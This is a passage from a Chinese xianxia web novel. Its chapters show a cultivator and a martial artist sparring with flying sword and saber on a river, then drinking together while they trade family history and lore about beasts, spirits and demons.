宋孤山将自己的来历大致说了下,转头便开始盘起了赵尘的底。 这船虽是其自己拦的,但船上的情况却和自己猜测的大相径庭。但是,这船已经被自己拦了下来,若是没有问题,岂不是伤了别人的好意。而若是真的有问题,当时也不容自己就那样轻松离开了,所以只能硬着头上了船。但话虽如此,可宋孤山直到现在都没有将兵刃解下,吃的也是自己带的干粮。 “我?我自己也不知道,我带着周嗣在外历练,目前只是打算去冥仑山看看。至于怎么走,是笔直着往冥仑山而去,还是左绕绕、右绕绕,绕到冥仑山去?走到哪算哪儿,一切随缘。如今沿着济江而下,既然宋大哥要去济南府,那我也去济南府看看吧。对了,还不知道宋大哥去济南府做什么呢?” 赵尘心中却没有宋孤山的那些弯弯绕绕,之前看似在闲聊,实际上也正是在闲聊,暂时还没有意识到宋孤山心中所想。 “那就麻烦赵兄弟了,我先要去济南府平郡的一家聚宝斋的小东家那里,将聚宝斋三年的收益给对方送去。” 见赵尘依旧是这一副初初江湖,经验不多,但出生很好的模样,宋孤山只好顺着之前的话题接着往下说。 “聚宝斋大小数十家东家,大的当然由聚宝斋专门派商船押送。像那些小的,便只好由我这样信得过的武者顺道带过去。这家小东家姓宋,是平郡的一家郡望。往上数个六七辈,到是和我是一家。待将收益送到后,再去隔壁郡。” “川南郡有一座地渊,不知赵兄弟可知道,其最窄处只有三五里,最宽处也不过十数里,长数千里,最深处距地面足足有数万丈,里面各种珍贵药材不计其数,各类野兽也是数不胜数,便是猛兽精怪也是时有发现。还有许多先辈洞府,前辈遗刻,我打算去地渊历练一番。” 第六十一章 比试 对于川南郡那座地渊,赵尘也是有所了解的,据宗中记载,这条地渊是许久之前,一位高手斩落的一道剑痕, 当年那道剑痕,其中道韵上接天穹,下连地脉,使其中诞生了种种奇珍异宝和奇异生灵。后来经无尽岁月洗礼,这道剑痕其中的道韵虽然早已消散,但也形成了一片奇异的环境。而且,虽然道韵消散,但还有零星意境留下,吸引了许多剑修前来参悟,这些剑修不限于修士或者武者。 后来,许多来这里参悟的剑修留下的种种遗刻或者洞府,又成了后来着的机缘,一代代积累下来,加上这里还算丰富和奇异的资源,遂成了许多武者和低阶修士的历练之地。 直到只是,赵尘才回过味来。大概猜出了宋孤山心中所想,和其简单聊了聊川南郡那座地渊的大致情况。 “宋大哥果真刻苦啊,难怪宋大哥年纪轻轻便已有先天八重天的修为了。” “呃哈……哈……哪里,哪里。我永嘉十三年生人,至今年永嘉四十三年,已经有三十一岁啦。可不算年轻了。”宋山左手撑在甲板上,右臂前后摆着说道。 赵尘笑着摇摇头:“我要是没记错的话,济江应该在济南府处有一条向南的小支流经过平郡吧,到时我们便在平郡分别吧。” “如此便多谢赵兄弟了。”宋山摸了摸脑袋说道。 在赵尘的配合下,经过了一番试探之后,宋孤山终于做出了判断,放下了七分戒心,随后两人的交流就更真诚和热切了一些。 一番天南海北的闲聊之后,两人之间更加熟稔了一些,宋孤山终于好奇的问道:“赵兄弟,你手中这是……剑?” 赵尘闻言,看了眼正在被自己祭炼的五彩斩魔剑,笑道:“宋大哥好眼光,若是一般人,怕是要将这当成了一支五彩琉璃水玉把件。” “赵兄弟这是在悟剑还是在温养?” “都算是吧!”赵尘仔细想了想,最后斟酌道:“正好我最近在练剑术。” 宋孤山闻言,眼中一亮:“既然如此,,不如我们比试一番吧,让我见识一下赵兄弟这般神仙人物们的剑术!” “好啊,就在这里吧,我这艘船质量还不错,一般的刀劈剑砍的,没什么关系。” 宋孤山环顾了一番,摇了摇头:“这里场子小了,怕是施展不开。去江面吧,那里开阔。” 说罢,不待赵尘回答,从身上摸出一沓薄木片,往远处散去,小木片飘在水面上,四散而去。随后。宋孤山一跃而起,借助那一大把一寸见方的小木片,在水面上行走着。 赵尘见状,只能虽宋孤山下船,踏水而行,最后站定在离宋孤山十数丈远的地方。 周嗣站在甲板上,看着远处水面上的两人,一人在一片片一寸见方的小木板上轻盈的行走着,一人站定在水面上,随着水面微微的上下起伏。 只见赵尘用右手将抱在怀中的五彩斩魔剑提在手中,对宋孤山微微见了一礼:“宋大哥,剑长三尺六……不对,是三尺三寸,宽一寸六分半。还请指教。” 宋孤山被赵尘的动作弄的微微一愣,这才仔细朝那把好似由一块透明水晶雕刻成的宝剑看去。其在阳光下,散发着五色毫光,并且整个剑身都给人一种流光溢彩的感觉。宋山眼睛眯了眯,心道:“待会儿打起来,这剑足可以晃的人睁不开眼。要是质量不错的话,实在太占便宜了。” 宋孤山右手从下往上往脑袋后面一抹,一眨眼不到的功夫,便将背后那一把刀提在了手中,刀尖斜指地面,刀锋切向赵尘:“不敢当。这把刀我拿在手中十六七年了,没有名字,多长多重我也没注意过,反正很顺手。” 赵尘嘴角含笑的看着宋孤山,只见宋山手中厚背金刀刀柄首端镶嵌着一颗宝珠,刀柄护手乃是一颗赤金色的虎头,刀身从虎口中吐出,被四颗虎牙固定。刀身密布着鳞片状花纹,刀锋冰冷刺骨,刀尖微微上挑。 在赵尘眼中,整把金刀裹着一圈厚厚的煞气,而刀首处那颗宝珠散发着淡淡的光辉,使宋孤山一点也不受煞气影响。 宋孤山话音刚落,随即脸色一正:“赵兄弟,小心了。” 话音未落,宋孤山脚下一蹬,直接踏水而行,向赵尘猛地劈了过来。 在周嗣眼中,只见宋孤山话音未落,将刀往上一抬,无数的金黄色枯叶虚影环绕在其周身,铺天盖地的肃杀之气朝自己扑面而来,便是天上的云朵都被搅散,无尽的萧瑟秋风朝赵尘压去。接着,其整个身影忽然在周嗣眼中消失,不到一眨眼的功夫,就出现在赵尘身前,朝赵尘当头劈下。 在赵尘眼中,只见随着宋孤山一记力劈华山使出,其周身气机不但和整个天地大势相合,使刀锋平添了三分锋芒,还跟更快了几分,其意境之中更带了几分沛不可当的韵味。 同时,一大团煞气顺着刀尖冲了出来,化作一只猛虎向自己扑了过来。要是普通人,被这煞气猛虎一扑,怕是要失魂落魄、肝胆俱裂。便是先天后期的武者,被着煞气猛虎一扑,怕也是要至少失神一瞬间。 就在宋孤山的刀锋即将辟落之际,赵尘不慌不忙的抬起右手,一翻手腕,手中宝剑被舞成了一个五光十色的圆圈,接着,其又变成一轮白色的剔透玉盘。被赵尘单手捧住。真正让人看见了三尺明月是什么样子。 那煞气猛虎先金刀一步扑到赵尘身前,却被那明月洒落的清辉一照,瞬间烟消云散掉了。同时,赵尘将手中明月轻轻往上一托。那一轮明月似慢实快的缓缓从赵尘手中升起。 在不远处的周嗣看来,这轮缓缓升起的明月映衬着这无边江水,颇有一种海上生明月的感觉。 “要是在晚上那就更好了”周嗣情不自禁的沉沦其中,感叹道,“呸……我在想什么呢?”周嗣猛地摇了摇头。 第六十二章 明月 “当!” 猛然劈落的金刀被那一轮明月挡了下来。厚背金刀连同宋孤山本人都被猛然磕飞数丈。 在周嗣眼中,赵尘的动作后发先至,似慢实快,其每一个动作都被自己看的一清二楚,但却轻轻松松的将快到自己根本看不清的,宋孤山的动作轻松接下。 宋山表面上虽面无表情,实际上心中却一片惊涛骇浪:“好诡异。” 将宋孤山磕飞之后,赵尘的动作,没有一丝停顿,依旧缓缓托举着手中的月轮,一股清静的韵味遍洒江面。 先前,赵尘将手中的水晶宝剑挽成一轮明月时,宋孤山虽感到惊奇,但也不过如此,毕竟天下各种奇异武功多得是,再加上各种神奇法术,更是数不胜数。但自那一轮明月从赵尘手中缓缓升起开始,到金刀劈在月轮上,自己被磕飞结束,整个过程虽只发生在短短一瞬间。但在宋孤山的感觉中,好像过去了好一会儿功夫。 更诡异的是,随着那三尺明月缓缓离开赵尘的手中,在宋孤山的感觉中,那一轮明月便真的好像天上的月亮,而赵尘的手掌好像化作了一面广阔无垠的大地。 而随着月亮缓缓从远方的大地上升起,宋孤山的全部心神都被吸引。在这苍茫大地,寒月孤照之下,那寂寥、清冷、孤独的感觉充斥着宋孤山的内心。宋孤山便在这种境地之下,痴痴的赏了不知多长时间的月亮。 到最后。将刀劈砍在月轮上的动作,根本不是宋孤山主动做出来的,也不是赵尘主动用月轮去撞金刀,而是金刀被明月吸引,带着宋孤山做出来的动作。随后,金刀和月轮撞击的声音猛地将宋山惊醒。 说是金刀被明月吸引,投向月亮,实际3上却是宋孤山的心神被明月摄去。 宋孤山在被磕飞的过程中主动稳住身形,同时心中后怕,更有一种极其别扭的感觉。 一方面,自己可以清晰的感觉到。自己不过是失神了一瞬间。虽然这在战斗中也是一种不可原谅的错误,可和后者相比,却是根本无关紧要的了。另一方面,宋孤山可以清楚的记得,自己不由自主的赏了好一会儿的月,不但种种滋味在心中泛滥,而且只觉的心神一阵疲惫。 宋山的种种思绪根本瞒不过赵尘,实际上也是赵尘主动将宋山唤醒的,要不然宋山想要醒来,还不知要等多久。这种以上击下的指点式的比斗,也是赵尘最熟悉的,也是赵尘最顺手的。 宋山十几年行走江湖积累的经验也是十分丰厚的,在回过神来的一瞬间,宋山强压下心中的种种思绪,只觉的周身一片清静韵味,将自己的肃杀之意压下。同时看见那三尺明月散落漫天清辉,向自己漫来。 虽然这洒落的清辉,宛如真的月华,但宋孤山还是隐隐从中感觉到丝丝锋锐之气。宋孤山知道,虽然现在看起来,这清辉如同真的月华,但要是真的洒落到自己身上。怕是马上变成漫天剑气。当然,这也是因为赵尘剑术还不熟练,才会被察觉出来。 还不待宋孤山做出反应,一片清辉向宋山洒来。宋孤山只觉一阵刺痛笼罩全身,好像被无数细针给扎了一般,刹那间,宋孤山的外衣化作一片飞灰散去。当然,这依然还是赵尘剑术不熟练的原因。 对此,宋孤山不退反进,猛地一步跃起,千钧一发间避开了月轮洒下的清辉。腾空而起的宋孤山双手持刀,凌空虚踏间猛地一劈。 站在远处甲板上的周嗣只觉眼前一片恍惚,隐约间看见一只巨大的吊睛白虎,周身散发着神圣的气机,摇头摆尾间向着远处迈步而去。虎掌每一步都好像按在天地的节点上,与周身天地相呼应。 “好!” 见此,赵尘不禁开口叫好,赞叹了一声。虽然同样是一招简单的竖劈,好像和刚才一样。但实际上却是完全不同。 第一记的竖劈,用七分力,没有什么高妙的真气、气血、劲力等的运转技巧,也没有什么心灵变幻,意境加持,只是一招纯粹的以力压人,属于宋孤山的起手试探。 而此时的这一记竖劈却是不一样。赵尘可以看出来。这本来只是一招普通的先天武技,而且带有鲜明的军中武学的特色,横平竖直。直来直往,没有复杂的思想内涵,更重杀伐。但在宋孤山手中却是完全不一样。这一记竖劈,在赵尘眼中,上合星象,中应天时,下引水脉,隐隐间,好像有着几丝宗师气度。 赵尘看见,宋孤山这一记竖劈斩出,上有星力垂落,融入刀气之中,若是在晚上,威力怕是要更大上几分。刀气自长空划过,沿途的金秋肃杀之气好像立刻有了主心骨,纷纷向刀气涌入,将沿途的清静韵味和月华清辉片片碾碎。同时,原本的金生水之势好像被逆转,丝丝水汽从江面蒸腾而起,化作金煞之气升入空中。 宋孤山的真气和和虚乾坤之力混合,沿着刀锋涌出,种种光影幻象沿着刀路展铺开来。上决浮云,下裂江面,甚至影响天象,使白日星现,气象之宏大,数十里外都能看见。 “当……” 这一次和之前不同,刀气虽然只是和月轮简单僵持了一瞬间,便消散而去,但也将月轮不断上升的势头压住了一瞬。见此,赵尘趁机将月轮招回,单手托在手中。 周嗣只看见神虎几步之间,走到一轮明月身前,抬起一只虎掌,单手向月亮按去。接着一声撞击声将周嗣惊醒,只见宋孤山持刀立于虚空,赵尘单手托月,站在水面。 宋孤山周身裹挟着漫天的金风,踏空而行,等几步间落到水面只是,已经在赵尘身前不远处。 赵尘手腕一番,皎洁的三尺明月又变回了那柄五彩水晶宝剑。接着赵尘一抖手腕,手中的水晶宝剑又化作一条剔透的五彩透明丝线,被赵尘缠绕在指尖。 第六十三章 三招 在周嗣眼中,宋孤山不断出现在赵尘不远处,身影闪烁不定,裹挟着无数的异象,在赵尘身边生灭。 宋孤山围绕着赵尘,一招招先天武学使出,虽然没有刚才那招气象宏大,但胜在一个“快”字。 对此,赵尘一只手背在身后,只用一只手拨弄着不断出现在身前的刀锋,在每次与刀锋接触的位置,总有一个针眼大小的五彩毫光一闪而逝。 不到一个呼吸的功夫,宋孤山一连使出了上百招,但赵尘却依旧一脸轻松的只伸出一只手。见此宋孤山突然猛地一个爆发,一瞬间斩出数十刀,赵尘差点没反应过来,宋孤山没有趁此和赵尘拉开距离,而是猛地向赵尘怀中撞去。 见状,赵尘指尖那一点针尖大小的五色毫光又猛然拉长,划过空间,向宋孤山飞去。流光在宋孤山的身体周围,好像穿花蝴蝶一样闪烁,不一会儿,就好像彩色丝带一样,将宋山一圈圈的圈住。 于此同时,宋山将金刀刀尖朝下,刀锋朝外,护住身体,不停的向周身劈出。 “当当当……” 只听见一阵密集而连续的撞击声传来,在这一瞬间,宋山一连劈出了无数刀。 在周嗣眼中,只见在那一圈圈五彩丝带中,忽然出现了一朵以宋孤山为核心的金菊花苞,其在风中微微颤动,一副将开未开的样子。随即,花瓣不断的开放凋零,和丝带碰撞,然后两者一起消失。 一层层花瓣展开,终于将丝带略微撑大了一点点。忽然,一轮金色的太阳从花中升起,同时一股霸道的威压,以太阳为中心横扫四方,在金色的光线照耀下,周嗣隐约间好像还看见了一方世界。 金灿灿的太阳刚从花蕊跃出,刚升到半空,便朝赵尘坠去。 对于一般人来说,怕是会被直接被锁死,让人避无可避,但这只是针对高手。若是武功低一些的,且因为空气好像还会变得像钢铁一样沉重,将人压在原地,直面这一记落日之威。 这一招可是宋孤山的拿手好戏,是对许多先天武技的组合使用,不知为宋孤山战胜了多少敌手。虽不是宋孤山压箱底的撒手锏,但也是其为数不多的几手绝招之一了,和之前那一记竖劈一样。 这一招对一般人而言,自然是威力极大,但却难不到赵尘,实际上,只要赵尘愿意,几乎抬脚就能避开,但这就不是剑术了。虽然赵尘的这门飞剑之术和宋孤山理解的怕是有一点差距。 赵尘指尖缠绕着那一条五彩光丝,伸手往身上一抹,那一条光丝迅速百拉大,化作一面光幕,将赵尘整个人围住,瞬间,赵尘便往深层空间坠落了一层,原处留下的只是深一层空间对表层产生的投影。 原本赵尘还做不到这般对空间的操作,但这便体现了高等法术的妙用。 金色骄阳穿过赵尘的幻影,砸入江水之中,刹那间,一座十几丈直径的深坑出现在江面,甚至一时间都没有被江水填平,大坑之上水汽弥漫,一时之间竟有几分伸手不见五指之感。这表面上看好像是重物砸落和太阳暴晒的结果,实际上却是被刀气切割的产物。宋孤山锋锐的刀气将这周围这一大片的江水直接切成了水汽。 正在此时,水面之下,好像有一片金色的火焰在跳跃,突然间,以那团金色火焰为源,一条金河从江水深处流淌出来,似慢实快的向水面流去,一道金色洪流从水面涌出,向赵尘涌去。 因为和其它招式相比,之前那招消耗比较大,所以早已回到原处的赵尘手掐剑指,指尖五彩光丝缠绕,不断在金色洪流的关键点和薄弱处,使金色洪流或避开,或崩溃在赵尘身前那一点位置。这金色洪流,虽然论爆发力远不如金色太阳,但胜在绵绵不绝。 在金色洪流的掩护下,一道金色的闪电悄无声息的从水底刺来。宋孤山的·动作虽然隐蔽,却瞒不过境界远高于他的赵尘。 在赵尘看来,这一道闪电虽然声势非常小,但威力却不容小窥。 见此,赵尘再次改变剑招,五彩流光瞬间化作一道五彩闪电,和金色闪电的悄无声息不动,五彩闪电的声势。可以称得上一声雷霆万钧了。浩瀚的雷霆瞬间将金色洪流荡平,和金色闪电针尖对麦芒的撞在一起。 站在甲板上的周嗣,只看见金色太阳从赵尘的身影中穿过,砸出一个十几丈宽。数丈深的大坑,接着不到一眨眼的功夫,大坑还没有被江水填平,一道金色洪流从坑中冲出,直扑赵尘。 赵尘身前一丝丝五彩毫光划过,依然是不到半个呼吸的功夫,周嗣只看见一道毫光炸开吗,耳中只听见一声轰鸣,整个金色洪流就消失不见。接着就是一阵万籁俱寂,一片数百丈的水面消失在眼前,最深处怕是至少有十数丈。 周嗣一时都没有反应过来,微微愣了一瞬间,这在发现楼船表面散发着一层淡淡的青蒙蒙的莹莹宝光,若不是这楼船神异,怕是要直接翻进水底。直到这时,在看见远处宋孤山挺刀直刺,刀尖和五彩水晶剑的剑尖抵在一起。 若不是赵尘将宋孤山护住,就刚才那阵势,单只是余波,宋孤山至少也要重伤。 宋孤山将金刀收回,几步之间从还没消失的坑中爬了出来,和赵尘一起回到了船上。 对宋孤山来说,刚才的一番比试,从离开楼船到回到楼船,整个过程不过数个呼吸,自己却一连使出了三手绝招,再比下去除了暴露更多的手段,却也没有任何意义了。 “原来仙家飞剑之术是这样的啊,这便是赵兄弟这般神仙人物的剑术吗,实在令人叹为观止!” 赵赵尘闻言想了想:“这剑术确实是神仙人物传下来的,但我只是初入修行,只练了一个皮毛罢了。” “赵兄弟客气了,没想到我和赵兄弟差距如此之大。”宋孤山看了看一身狼狈的自己,又看了看一身光洁如故的赵尘,不禁摇了摇头。 “宋大哥千万别这么说,小弟用的飞剑之术乃是道术,而大哥用的是武功,两者战斗的方式就不一样,实在不好比较。” 第六十四章 闲聊 宋孤山听着赵尘那好像安慰的话,却总觉得有些不对味,但却没有丝毫表示出来。 “赵兄弟不要安慰我,道术我又不是没见过,什么又是火啊,又是水啊,还有什么烟啊,或者什么幻术什么的,我只是一刀劈散。便是什么妖魔鬼怪,我也不是没见过,都是一刀了账的事情,一刀不行就两刀,两刀不行就三刀。” “想来寻常人的飞剑道术大概差不多也就如此,不过胜在一个‘奇’和‘诡’罢了。但如赵兄弟这样,让我一点也摸不到边,却是第一次遇到。更是让我明白了人外有人是什么道理。” 听着宋孤山暗含炫耀的话,赵尘心中却是暗自点了点头,从刚才的一番交手可以看得出来,其自身所得的武道传承想来比较普通,但一身实力,按赵尘从书中了解的,在先天八重天的武者当中,足以称得上上乘,足以说一声天赋异禀。 虽只是先天八重天武者,但足以和半步宗师过上两手了,若是那些寻常半步宗师大意了,怕是要吃个暗亏。若是遇到特殊情况,甚至还有翻船的可能性。在加上他手上那一把宝刀,普通的鬼怪还真不够他一刀劈的。 见此,赵尘在心中暗自叹息了一句:“这天下间,天才何其多也!” 宋山看着一脸气定神闲的赵尘,感受着自己之前近乎枯竭,如今正在迅速恢复的真气,心中不由一叹的同时,却又有几分心安。一来,像这样将自己打的毫无还手之力的存在,怎么也不会看上自己身上那一点财物的。二来,赵尘这般厉害,旅途的安全性也大大得到了保障。 至此,宋孤山原本放下了七分的心又放下了一两分,随即继续说道:“赵兄弟果然剑法高超,功力深厚,非愚兄可以望其项背的。” “宋大哥哪里话,小弟不过是占着飞剑比较精巧,比较占便宜罢了。再说了,我和大哥交手三次,皆是平手而已,大哥不要自谦。” 嘴中这样说着,赵尘心中却暗自松了口气,这次是赵尘第一次使用飞剑,看起来好像非常轻松,但实际上却暴露了许多问题,只是被赵尘以上击下,给隐蔽了下来。 赵尘同时心道:“通过刚才这番实验,可以说明飞剑在中、近距离的杀伤力还是不错的。至于超远距离的攻击,我暂时还用不上。但无论是近身搏杀,还是远距离斗剑,都还是要多练练,要是刚才是和一个修为和我差不多的人交手,刚才就栽了。” “输了就是输了,这有什么不好说的,赵兄弟不必为我脸上贴金。”宋孤山不在意的摆了摆手,解下葫芦便满满灌了一口,顺手将葫芦扔给赵尘:“自家泡的药酒,酒是上好的陈年佳酿,药方也是祖传的,清热、消暑、解毒、驱寒、恢复真气都是不错的。” 赵尘一把将葫芦接住,二话不说尝了一口,将葫芦抛回去:“药方不错,这是这药材的年份还不够,回头我送些药材过来。” 宋孤山接过葫芦,重新挂在腰上,摆了摆手,转身向房间走去:“那就多谢赵兄弟了。刚刚和赵兄弟比试,我体内真气消耗太大,便先回去了” …… 正值数九寒冬,漫天大雪飞舞,此时距离宋孤山登船已经过去好几天了。 因为今天上午周嗣又完成了一组完整的导引术后,赵尘又帮其疏导了一遍元气,所以也没有向往常一样去练习导引术,而是脸色苍白的和赵尘、宋孤山三人围坐在一起闲聊。 宋孤山一口将碗中酒水饮尽,将空了的酒碗倒满,又从锅中满满的盛了一碗鱼汤,摇了摇头,手中夹着筷子比划着,微醺着道:“额……之前说到我爷爷身为那平郡宋氏的远方支脉,所谓君子之泽,五世而斩。我爷爷虽有一个宋氏子孙的名头,但这主家却也没有多少情分。” 宋孤山的爷爷虽不能说家境贫寒,但也是比上不足,比下有余。其自然是不甘如此,所以自小苦练武艺,然后投军去了。一生经历倒也非常精彩,像剿灭土匪、流寇、鬼怪、邪修等一生大小数十战。其倒也努力,最后以先天三重天的修为,凭借着修为和功劳,在济州禁军最精锐的禁卫军中做了个小队长,管理着手下十几个先天一、二重天的兵丁。 后来,宋孤山的爷爷一直到七十多岁了,还孤身一人在军中效力。虽然对于先天武者来说,七十来岁,可以说正值壮年。但其一想:“总不能真的绝后吧,到时候连一个养老送终的人都没有。”所以便带着自己手下十几个兄弟远离了济州,去了冥仑山脚下隐居, 赵尘听宋孤山这么一说,心中暗笑道:“这是骗鬼呢?” 不过赵尘也能猜到,不过是一段恩怨情仇罢了,最多还掺杂了一些其它乱七八糟的东西。不过,这又和自己有什么关系呢?不过赵尘却做一脸倾听状看着宋山,好似期待他后面的话的样子。 自从济州离开开始,宋孤山爷爷等人和自路上遇到的,并愿意和他们一起前往冥仑山的,几户人家一起,一共二十户人家,近百口人,历时三年多,终于来到在冥仑山下,并在山脚下开辟了一个小村落,终于安顿下来。 听着宋孤山和他们讲的,那一群人在路上遇到的种种艰难困苦,以及开辟村落的种种磨难,赵尘不禁感叹道:“筚路蓝缕,以启山林。确实不容易啊。” “谁说不是呢?”宋孤山拿起酒碗猛灌了一口:“若只有什么虎豹豺狼,甚至是一些蚊虫蛇蚁也就罢了,可偏偏还有不少山精鬼怪,稍有不注意,便会出事。” “山精鬼怪?”周嗣一听,立马来了兴趣,忙给宋山将酒倒满,一脸殷勤的看着宋孤山。 宋孤山端起碗美美的喝了一口,示意周嗣继续给自己满上,随即和赵尘两人说了不少村中遇到的事情,或诡异或凶险,听的周嗣大呼过瘾。 第六十五章 金刀 赵尘对宋孤山说的每件事情,都拆开了。揉细了,推测其背后的原因,将其中的原理都一一说明。最后总结道:“一般情况下,村中自有土地神,作为神道秩序的代表,镇压种种。但你们那里是新建的村落,未有土地,神道秩序有缺,所以才有那么多事情发生。” “呃……”宋山打了个酒嗝:“原来如此,多谢赵兄弟解惑,确实如此,自我小时候,便没有那么多事情发生了,刚才说的那些事,都是听村中老人讲的。” “呵呵……”赵尘轻笑的摇了摇头,右手拿起酒碗轻酌了一口,放下酒碗,左手食指微微一转,便看见三道清流自酒坛中飞出,将三人的酒碗填满,一滴不多,一滴不少,也没有一滴洒出来。 虽不是第一次看见,周嗣见状,眼中还是露出羡慕的表情。宋孤山看了,也是啧啧称奇:“赵兄弟这般仙家手段,精妙之处,果然不是我这般粗鄙武夫可以企及的。” “这本来就是道路不一样,又如何可以比较的呢?想我等修士,修行之初,还在苦苦养生,这也不敢吃,那也不敢喝的时候,你等武者,便可以生裂虎豹了。” 赵尘看着宋孤山摇了摇头:“对了,宋大哥,你之前说令祖一刀便吓的罗刹鸟显了原型,另外一刀便劈死了罗刹鸟。想来令祖不但武艺高强,连手中兵刃也是不一般啊。莫不是宋大哥背后那一把金刀?” 这罗刹鸟便是之前宋孤山说的一件奇异事之一。传墟墓间太阴,积尸之气,久化为罗刹鸟,如灰鹤而大,色灰黑而钩喙,目若青磷,巨爪如雪,鼓翅而作磔磔声,能变幻作祟,好食人眼。亦夜叉、修罗、恶鬼类也。 说来也奇,据赵尘所知,这方世界,并没有佛门传承,却有出自佛教的修罗、夜叉等鬼怪。 “赵兄弟果然好眼光,说来也差不多,我的这把刀正是用我爷爷的那把刀做刀胚打制而成的。”说着,便将背着的金刀从身上解下,往桌子上一拍。 “啪!” “说起我这把刀,也是有一段来历的。最开始,这把刀作为爷爷手中的兵刃,是禁卫军的专属制式兵器。就三个特点,一是坚韧,二是锋利,三是有一定的破邪能力。随着爷爷经历数十场战斗,倒也沾染了不少煞气。” “后来爷爷快八十岁的时候有了我爹,我爹年轻时候也不愿意一生就这样荒废在小山村里,十几岁的时候就背着爷爷那把军刀出去历练去了。” 说着,宋山指着刀身上那一层红色的细密鳞片,道:“这就是我爹在外历练的时候找人打制的。” 赵尘抬起脖子瞧了瞧:“这好像是用的是赤铜,而且看手法在打制的时候还用了不少纯阳之血,而且这鳞片还暗暗组成了一套聚煞作用的符纹。只是太过凶厉了一点,而且后面好像又改造了一番。” “赵兄弟果真是好眼光”宋山闻言赞叹道:“听我爹说,当初在外游历时,求一位高人帮忙用爷爷那把刀作为原料,据说是用了数十斤的赤铜,还有九百九十九只,五月初五,午时三刻出生的大公鸡,在次年五月初五,午时三刻杀死,取其六滴心头血和三滴鸡冠血,锻打出一柄龙鳞宝刀。” “只是父亲天资不行,一直到了三十多岁,才修炼到后天九层境界,想到爷爷已经快一百一十岁了,在几乎一事无成的情况下回到了山村。当时村中已经有了一座土地庙,父亲回来的时候,一身的煞气,据说甚至将土地爷惊动了,还以为有鬼王从地府逃了出来,流窜进了山村。” “父亲刚回来的时候,整个人暴躁、易怒、嗜血。一直过去三五年才恢复过来。至于父亲的那柄龙鳞宝刀,被爷爷收了回来。爷爷从山里寻找玉石作为磨刀石,一点点的磨去龙鳞宝刀的煞气。” “父亲回山数年之后有了我,我至今还记得小时候爷爷最喜欢将我抱在怀里,给我讲故事了。记得四岁的时候,从山里面出来一只猛虎,爷爷费了好大一番功夫,将猛虎杀死,爷爷将猛虎身上的骨头拆下来,又收集了其它药材,熬成了一罐药膏,给我强壮筋骨。还将虎血和其它药材一起,制成药丸,给我强壮气血。” “至于猛虎的其它部分,都和一大块瑞彩精金,以及龙鳞宝刀一起,交给了蒋爷爷。蒋爷爷是村中铁匠,蒋爷爷用这些材料将龙鳞宝刀改造成了虎柄龙鳞金刀。”说着,宋孤山摸着金刀上的刀柄护手处的虎头,指着虎口中的牙齿道:“看,这就是那头猛虎的牙。” 说罢,宋孤山忽然趴在桌子上面嚎啕大哭起来。 “洼……哇……” 赵尘和周嗣看着嚎啕大哭的宋孤山,完全懵在那里。赵尘赶忙劝慰道:“宋大哥,你这是怎么了,这么就哭了呢?有什么不痛快你说出来嘛,要是有什么难处,告诉我,我给你想想办法。” “从宰了那只猛虎之后,不到一年半的功夫,爷爷就去世了。要不是那头猛虎,爷爷……哇……” “砰、砰……”说着,宋孤山抓着金刀使劲往桌子上砸着。 “不过一只大虫罢了。宋大哥的爷爷堂堂先天三重天的修为至少,两者怎么会有关系呢?”周嗣看了看宋孤山,然后转过头轻声对赵尘疑惑道。 “怎么会没有关系,要不是那头……那头猛虎,爷爷,爷爷怎么会……” “不过是一头大虫罢了,哪怕是再厉害的大虫,一位后天十二层的武者便可以徒手捏死。难不成那是一只妖怪不成?”周嗣轻声嘟囔着。 “那猛虎虽不是妖怪,但猛虎和大虫不一样。” “怎么不一样?” “猛虎和大虫差别大了去了!猛虎和大虫……和大虫……和你说不清楚!呃……” 赵尘见状,连忙安抚宋孤山道:“宋大哥别急,我来和那小子说。” 第六十六章 醉酒 赵尘于是和周嗣详细说了说普通野兽,以及猛兽、精怪的区别。 “所谓猛兽,智慧增长的并不多,增长更多的乃是肉身的实力。用兔子举例,一只普通的兔子,只要足够的灵活和迅速,一个普通人便可以徒手抓住。可一旦成为猛兽,一只初成猛兽的兔子,至少也有初入先天一重天的武力。” “而所谓精怪,智慧增长很多,而肉身气血等增长的要小很多。还是拿兔子举例,一只成了精怪的兔子,智慧最少也相当于八九岁的孩童,甚至还会觉醒一些魅惑、伪装等之类的小幻术。而肉身力量、气血等,最多能和一头驴子差不多。” 听完赵尘的解释,周嗣不禁开口道:“那猛兽和精怪之后呢?” 听见周嗣的问话,便是连宋孤山也使劲摇了摇头,将手中的酒坛放下,双手轻轻拍打自己的脸。 赵尘抬头扫视了一遍:“其实,就猛兽和精怪来说,两者之间的差距还不大。比如偶尔有一些顶级的猛兽或精怪,论气血、力量,也有个先天武者的实力。论智慧,也有一个十来岁少年的样子,可能活的久了,甚至可以把许多成年人骗的团团转。甚至还有可能会一两手的小法术。你说这是猛兽还是精怪?” “当然了,在往上,两者的道路便彻底分叉了。猛兽往上便是蛮兽,精怪之上便是妖怪了……” 随着精怪晋升妖怪,并且不断增强。智慧、术法、气血、肉身、力量等不断快速增强,但肉身气血等的增长的速度却会不断变缓。在成长到大妖这个层次之后,肉身的增长便彻底停止了,若是还想增强肉身的力量,便只能寻找专门的功法,靠水磨工夫了。 妖类按境界可分为小妖、大妖、妖王。而有些妖类,在精怪和小妖之间,还有一个妖兽的过渡境界。而每一位大妖,其实力最少相当于一位顶级的真君。 至于由猛兽进阶的蛮兽,只要一成为蛮兽,不要说一只兔子了,理论上便是一只蚯蚓或毛毛虫,随手一击便相当于一位武道宗师。而蛮兽和妖怪的增强方向正好相反。随着肉身力量的不断增强,智慧的增长速度不断变缓,在达到和大妖差不多的层次之后,智慧彻底停止增长。 之后,和妖怪不一样,在智慧停止增长之后。蛮兽的智慧随着肉身气血力量的不断增长而不断降低。甚至能跌到普通草木甚至土石的程度。 当然,因为精怪和猛兽之间差距不大,有不小的可能性,一只动物,它既是精怪也是猛兽。只是更偏向猛兽一点,但后来却是进阶成了妖类,反过来也很有可能。 而且,一只妖类。因为一些意外。转变成一只蛮兽,或者一只蛮兽,因为一些原因,又重新通灵成妖,这都是有可能的,只是随着妖类和蛮兽境界的增加,可能性不断降低罢了。 说到这里。赵尘突然问道:“周生,你可知道什么是天人三千大限吗!” 周嗣仔细想了想,随即摇了摇头:“还请老师指点。” 便是宋孤山,也暗自强打精神,竖起了耳朵。 赵尘将之看在眼中,心里暗笑下,这却不是在嘲笑宋孤山,而是对他一个魁梧汉子。悄悄做出这显得有些扭捏的动作,感觉有些有趣,同时也是对其渴望知识和向学之心的赞许。 